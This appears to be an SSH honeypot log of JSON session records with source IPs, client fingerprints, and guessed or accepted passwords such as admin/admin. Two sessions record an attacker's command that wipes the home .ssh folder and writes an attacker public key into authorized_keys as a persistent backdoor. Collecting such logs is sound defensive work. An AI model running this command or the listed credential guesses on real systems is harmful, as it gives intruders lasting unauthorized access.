}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "64c9ebef7e08",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:45.298056Z",
"end_time": "2026-07-31T04:30:46.096666Z",
"duration": "0.8",
"version": "SSH-2.0-libssh2_1.10.0",
"hassh": "b4b8ae3d7241d2c1dc54b4df7e8c19d1",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "c1b6cede214a",
"src_ip": "35.240.88.213",
"start_time": "2026-07-31T04:30:40.528559Z",
"end_time": "2026-07-31T04:30:40.671549Z",
"duration": "0.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "7c758cc23056",
"src_ip": "207.175.174.221",
"start_time": "2026-07-31T04:30:37.491180Z",
"end_time": "2026-07-31T04:30:38.228651Z",
"duration": "0.7",
"version": "SSH-2.0-Go",
"hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "24462584f9d1",
"src_ip": "207.175.174.221",
"start_time": "2026-07-31T04:30:37.067451Z",
"end_time": "2026-07-31T04:30:40.280118Z",
"duration": "3.2",
"version": "SSH-2.0-Fingerprintx-SSH2",
"hassh": "4e066189c3bbeec38c99b1855113733a",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hostinger
{
"id": "6ec599060d77",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:28:47.336180Z",
"end_time": "2026-07-31T04:28:49.301271Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "hostinger",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: matt
{
"id": "2591fcd01f8e",
"src_ip": "103.155.47.50",
"start_time": "2026-07-31T04:28:10.934537Z",
"end_time": "2026-07-31T04:28:13.181230Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "matt",
"pass": "matt"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "0053c5f48006",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:26:45.148838Z",
"end_time": "2026-07-31T04:26:46.117738Z",
"duration": "1.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "9da5308d81a7",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:26:43.032801Z",
"end_time": "2026-07-31T04:26:44.996937Z",
"duration": "2.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / adminpassword
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "c3d0d5cf8ca0",
"src_ip": "51.254.130.161",
"start_time": "2026-07-31T04:26:41.017688Z",
"end_time": "2026-07-31T04:26:46.113837Z",
"duration": "5.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "adminpassword"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: user / 3245gs5662d34
{
"id": "35c5ce4db59f",
"src_ip": "137.255.13.90",
"start_time": "2026-07-31T04:25:38.710395Z",
"end_time": "2026-07-31T04:25:40.186673Z",
"duration": "1.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "5cc9d240c78b",
"src_ip": "137.255.13.90",
"start_time": "2026-07-31T04:25:35.997255Z",
"end_time": "2026-07-31T04:25:38.474245Z",
"duration": "2.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 87654321
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "9e7eac723a90",
"src_ip": "137.255.13.90",
"start_time": "2026-07-31T04:25:33.031562Z",
"end_time": "2026-07-31T04:25:40.178489Z",
"duration": "7.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "87654321"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}